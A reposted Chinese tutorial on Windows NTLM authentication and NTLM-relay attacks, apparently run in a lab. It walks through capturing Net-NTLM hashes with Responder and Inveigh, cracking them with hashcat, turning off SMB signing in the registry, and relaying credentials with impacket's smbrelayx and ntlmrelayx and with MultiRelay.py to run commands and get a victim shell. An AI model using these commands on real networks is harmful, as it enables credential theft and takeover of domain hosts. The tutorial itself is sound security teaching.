CATALOG
- 前言
- NTLM相關
- 1.用處
- 2.認證流程
- 3.其他術語
- NT-hash/NTLM-hash
- LM-hash
- Net-NTLM hash
- SSPI
- SSP
- NTLM-relay原理
- 1.不同版本的NTLM認證對應的response
- NTLM-relay攻擊
- 1.如何獲取到NET-NTLM hash
- 1.1通過responder或者inveigh工具
- 1.1.1 Inveigh
- 1.1.2responder
- 2.破解NET-NTLM hash(v2)
- 3.其它方式的NTLM-relay攻擊
- 3.1利用impacket的smbrelayx
- 3.2利用impacket的ntlmrelays
- 3.3利用responder里面的MultiRelay.py獲取shell
- 附錄:其他正常用戶觸發攻擊的方式
- 通過http協議觸發
- 通過smb協議觸發
- 參考文章
前言
由淺入深的講解ntlm-relay攻擊的相關原理以及最終的實作,
NTLM相關
1.用處
NTLM是一種windows的驗證用戶身份的一種機制,多存在于作業組環境下,可以與smb、http、ldap等協議嵌套使用,攻擊者有可能利用這幾種協議來進行NTLM-relay攻擊,
2.認證流程
1.客戶端發送一個明文的用戶名給服務端,說明自己是誰,
2.如果當前用戶存在,則服務端先會隨機生成一段challenge,可以理解成一個隨機字串,然后用客戶端所宣告的用戶的hash對當前這段challenge進行加密生成另一段密文,我叫它userhash-challenge,然后服務端會把challenge也就是最初生成的隨機字串發送給客戶端,
3.客戶端收到challenge,用自己密碼的hash對其進行加密并將加密結果發送給服務器,這個發送給服務器的密文我們一般稱為Net-NTLM hash或者是response,
4.服務器收到客戶端發送過來的加密資料,將其與之前的userhash-challenge進行比較,如果相同則認證成功,
3.其他術語
NT-hash/NTLM-hash
通常是指Windows系統下Security Account Manager中保存的用戶密碼hash,也可以理解成mimikatz中就跑出來的哈希,也叫做ntlm-hash,
NT-hash可以直接用于pass the ticket攻擊,

LM-hash
更早的時候windows用的是LAN Manager Challenge/Response 驗證機制,簡稱LM,該方案比NTLM回應時間更早,安全性更低,而LM-hash就是當時配合LM機制所使用的一種hash,而現在基本已經棄用,NT-hash的出現就是為了代替LM-hash,

Net-NTLM hash
這個是指的是ntlm認證第三階段的時候客戶端發送給服務器的用自己的hash加密challenge后的那段密文也就是response,

SSPI
Security Service Provider Interface 或Security Support ProviderInterface,這是Windows定義的一套介面,此介面定義了與安全有關的功能函式,將整個安全認證模塊化,就好比是各種各樣的零件庫,別人需要造什么樣的車就拿什么樣子的零件,這樣可以使得其他協議可以去根據自己的需求進行個性化定制,進而實作一個適合于自身的安全認證方式,
SSP
結合SSPI生成一個針對于具體需求的安全認證機制,根據SSPI所生成的具體產物,就稱為SSP,例如微軟的NTLMSSP(NTLMSecurity Support Provider)為NTLM認證的實作提供了基本功能,是WindowsSSPI(SecuritySupport Provider Interface )的一種具體實作,除了NTLMSSP之外還有kerberos,Cred SSP,Digest SSP等,
NTLM-relay原理

基本流程如上圖所示,在客戶端的視角里,攻擊者就是他要訪問的服務端,它在與攻擊者這臺主機進行NTLM認證,而整個流程也只有攻擊者這臺主機與其進行互動,
在服務端的視角里,攻擊者是客戶端,是攻擊者在向服務端證明自己的身份,通過中間人攻擊的方法,攻擊者可以偽造成客戶端來完成身份驗證,

攻擊者所做的事情只是把所有客戶端的請求relay到服務端,并把所有服務端的請求relay到客戶端,而在服務端看來,一直以來只有攻擊者在跟他互動,所以自然而然就認為攻擊者就是客戶端,這樣子攻擊者就達到了偽造成真正客戶端的目的,
1.不同版本的NTLM認證對應的response
主要分為NTLMv1版本與NTMLv2版本,NTLMv1版本的response可以很容易爆破出用戶的hash,相比較而言不安全,而NTLMv2版本使用了HMAC_MD5函式,所以通過response很難被爆破出真正的用戶hash,只能通過暴力破解,
NTLM-relay攻擊
1.如何獲取到NET-NTLM hash
1.1通過responder或者inveigh工具
這兩個工具利用的是LLMNR和NetBIOS欺騙,首先我們需要知道Windows系統名稱決議順序為:
本地hosts檔案(%windir%\System32\drivers\etc\hosts)
DNS快取/DNS服務器
鏈路本地多播名稱決議(LLMNR)和NetBIOS名稱服務(NBT-NS) 當用戶決議一個無法被決議的主機名的時候,就會走LLMNR協議或者NBT-NS協議,這時候我們就可以做手腳來讓用戶認為我們就是它想訪問的目標,進而跟我們進行NTLM認證,這樣子我們就能夠獲取到其NET-NTLM,
hash,
1.1.1 Inveigh
以管理員權限打開攻擊機器的powershell依次輸入以下命令:
. .\Inveigh.ps1
Invoke-Inveigh -ConsoleOutput Y
如果有執行策略限制再加一條Set-ExecutionPolicy Bypass -Scope Process

在被攻擊機器上的運行框輸入一個任意的主機名并點擊確定:

這時候回傳攻擊機,發現已經抓取到NET-NTLM hash

如果對方訪問的是正確的主機,則顯示的是:

它與域控進行NTLM協商,并沒有經過我們的攻擊機,也沒有走LLMNR與NETBIOS協議,
1.1.2responder
攻擊機執行responder -I eth0 -f,I后面跟的是當前的網卡名字,被攻擊機上執行的操作與Inveigh一樣,得到結果如下,依舊抓到了目標用戶的NET-NTML hash,

2.破解NET-NTLM hash(v2)
利用hashcat可以完成,用hashcat執行命令:hashcat -m 5600 密碼字典路徑 -force -show
我選擇將上述命令放在.sh檔案中直接執行,結果如下:

得到密碼為123
破解ntlmv1的hash請參考Windows內網協議學習NTLM篇之Net-NTLM利用
3.其它方式的NTLM-relay攻擊
當破解不出密碼的時候,我們就需要用到其他的NTLM-relay攻擊了,是真正的將憑據relay到其他的主機上,如果這個憑據權限足夠,那么就可以控制對方主機,所以憑據的權限很重要,但是這屬于一種被動攻擊,能獲得什么權限全看運氣,因為ms06068已經被修復,所以不能將憑據relay到憑據真正持有者的主機,只能relay到其他主機,
這個攻擊的前提是:
目標主機沒有開啟smb簽名,這里提供一種關閉smb簽名的方式,這里說一下,一般情況下域控默認開啟smb簽名,其余域內機器不開啟,
修改注冊表的兩個鍵值為0:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters"requiresecuritysignature"=dword:00000000
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Lanmanworkstation\Parameters"requiresecuritysignature"=dword:00000000
- 使用Runfinger腳本探測出主機
修改完成后使用responder其中的一個名為Runfinger的腳本探測是否設定成功,只有這里顯示成功的才能進行攻擊,如果探測不出來則無法進行攻擊,即使有一個主機你知道它確實滿足條件,但Runfinger腳本就是探測不出來,那么這個主機也是無法被攻擊的,

攻擊無法攻擊的機器會顯示如下錯誤:

當我們確定域內有可攻擊的主機后,就可以開展以下攻擊,
3.1利用impacket的smbrelayx
第一步:打開responder并修改組態檔responder.conf,將smb與http兩項改為Off,注意大小寫,這里面responder的作用就是,創建一個可以被訪問的虛擬路徑并且模擬與其他主機進行NTLM認證互動,而smbrelayx腳本進行ntlm-relay,

第二步輸入命令```./smbrelayx.py -h 受害者ip -c ‘要執行的命令’,這時候只要域內主機觸發了LLMNR協議即可,觸發方式與上免例子的觸發方式一致,即通過smb協議或者http協議訪問一個不存在的主機,

3.2利用impacket的ntlmrelays
第一步跟3.1中第一步相同,操作responder,第二步輸入以下命令,,
./ntlmrelayx.py -t 受害者ip -c whoami -smb2support

此時只要當前域內有主機通過smb協議或者http協議訪問了不存在的主機,我們就會利用其用戶憑據去登陸這臺192.168.124.139,并執行命令whoami,
3.3利用responder里面的MultiRelay.py獲取shell
這種攻擊的前提條件跟前面幾種一模一樣,第一步打開responder,改組態檔,第二步執行MultRelay腳本,執行成功后,如果獲取到足夠權限的用戶評價,就可以控制被攻擊機并獲得其shell,
命令:./MultiRelay.py -t 受害者ip -u ALL

這時候我們使用域內一個域管的主機觸發smb協議去訪問一個不存在的主機,然后看攻擊機就會發現反彈回了shell,這個shell是受害者的shell,而不是那臺域管主機的shell,最后一行執行了whoami,

附錄:其他正常用戶觸發攻擊的方式
只要其他正常的域內用戶通過以下兩種方式訪問了一個錯誤的主機,那么我們作為攻擊者就可以竊取到其憑據進行ntlm-relay攻擊,
通過http協議觸發


通過smb協議觸發

或者在cmd中執行net use \\wasdf也可以觸發smb協議,
參考文章
Windows下的密碼hash-NTLM-hash和Net-NTLM-hash介紹
跟著玄武大佬學NTLM relay攻防
NTLM Relay
內網滲透研究:LLMNR和NetBIOS欺騙攻擊分析
內網滲透測驗:NTLM Relay攻擊分析
Windows內網協議學習NTLM篇之Net-NTLM利用
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/141993.html
標籤:其他
上一篇:撰寫Java程式,實作多執行緒操作同一個實體變數的操作會引發多執行緒并發的安全問題。
下一篇:執念斬長河浙江專升本學習第一周

